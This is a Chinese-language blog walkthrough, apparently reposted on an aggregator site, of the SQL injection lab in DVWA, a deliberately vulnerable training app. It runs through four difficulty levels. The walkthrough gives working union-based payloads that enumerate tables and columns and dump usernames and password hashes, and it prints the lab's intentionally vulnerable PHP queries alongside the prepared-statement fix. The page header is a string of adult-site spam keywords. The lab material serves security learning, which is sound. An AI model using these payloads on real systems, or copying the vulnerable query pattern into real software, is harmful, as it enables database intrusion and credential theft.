日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

DVWA学习(一)SQL Injection

發布時間:2025/3/21 数据库 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DVWA学习(一)SQL Injection 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

本文參考自https://www.jianshu.com/u/9dac23b54fba,根據自己的學習進度可能會有不同的地方,詳細可以查看原文鏈接。

SQL Injection,即SQL注入,是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。

DVWA安全級別:LOW

  • 輸入1:
    • 輸入1’:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1 可以知道這里的ID是單引號閉合。

(關于sql注入語句閉合的一些見解: https://blog.csdn.net/qiutyu/article/details/80314929)
一般的代碼:id=_GET[‘id’];
sql=“SELECT * FROM users WHERE id=‘id’ LIMIT 0,1”;
就是這里,對id進行了修飾,用’(單引號)把id括了起來。所以我們構造語句的時候,一是要把我們構造的語句‘逃逸’出來,二是要把結構進行補全或者適當的注釋。

  • 輸入1’ or 1='1,顯示了所有姓名和ID,可以知道是用了while循環顯示(代入到id='id’中為id=‘1’ or 1=‘1’ )。url為http://127.0.0.1/vulnerabilities/sqli/?id=1%27+or+1%3D%271&Submit=Submit#

  • 獲取字段長

    1’ union select 1-- k報錯:SELECT語句中使用具有不同數目的列。說明表的字段數不為1。
    The used SELECT statements have a different number of columns

    1’ union select 1,2-- k正常顯示,1,2號位也正常顯示出來


    url為http://127.0.0.1/vulnerabilities/sqli/?id=1%27+union+select+1%2C2--+k&Submit=Submit#

  • 顯示數據庫名

    1’ union select 1,database()-- k,2號位顯示數據庫名為dvwa。


    url為http://127.0.0.1/vulnerabilities/sqli/?id=1%27+union+select+1%2Cdatabase%28%29--+k&Submit=Submit#

  • 爆表:

    1’ union select 1,group_concat(0x3e,table_name) from information_schema.tables where table_schema=‘dvwa’ – k

  • 爆列:

    1’ union select 1,group_concat(0x3e,column_name) from information_schema.columns where table_schema=‘dvwa’ – k

  • 爆出所有用戶名和密碼,根據之前爆表獲取到的表明users,以及爆列獲取到的列名user, password。

    0’ union select user, password from users – k

low.php源碼,沒有任何過濾,最基本的SQL注入。

if( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]); }?>

Medium級別

輸入框變成了下拉框

可以查看元素知道name=id,post表單,可以用burp抓包改id或者用hackbar。

使用HackBar插件,選擇POST發送方式,id=1’發現單引號被轉義了,執行無效。

id=1 or 1=1&Submit=Submit顯示所有ID和姓名,可以判斷是數字型。

注入的分類
注入的分類:數字型和字符型。攻擊者目的只有一點,那就是繞過程序的限制,使用戶輸入的數據帶入數據庫執行,利用數據庫的特殊性獲取更多的信息或者更大的權限。
1、數字型注入
當輸入的參數為整形時,如果存在注入漏洞,可以認為是數字型注入。
2、字符型注入
當輸入的參數為字符串時,稱為字符型。字符型和數字型最大的一個區別在于,數字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的。

其余方法和LOW難度一樣

medium.php源碼:

if( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}// This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0];mysqli_close($GLOBALS["___mysqli_ston"]); ?>

High難度

變成了在另外一個窗口提交ID到該頁面,是字符型注入。


其余步驟和上面差不多
High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是為了防止一般的sqlmap注入,因為sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入。
High.php源碼:

if( isset( $_SESSION [ 'id' ] ) ) {// Get input$id = $_SESSION[ 'id' ];// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

與Medium難度相比High難度沒有轉義函數,在SQL語句后面添加了一個limit,限制輸出結果為1條。雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉。

安全級別: Impossible

源碼:

if( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}} }// Generate Anti-CSRF token generateSessionToken();?>

添加了token機制,防止CSRF攻擊。
SQL語句使用
PDO機制預處理語句
PHP PDO 預處理語句與存儲過程
原理:兩次傳輸,前一次傳一個sql模板,第二次傳查詢參數,會把第二步傳入的參數只做查詢參數處理,不做語義解釋,這樣注入的條件就算執行了,也不會得到查詢結果。
劃清了代碼與數據的界限,可以確保不會發生SQL 注入。(然而,如果查詢的其他部分是由未轉義的輸入來構建的,則仍存在 SQL 注入的風險)。

總結

以上是生活随笔為你收集整理的DVWA学习(一)SQL Injection的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。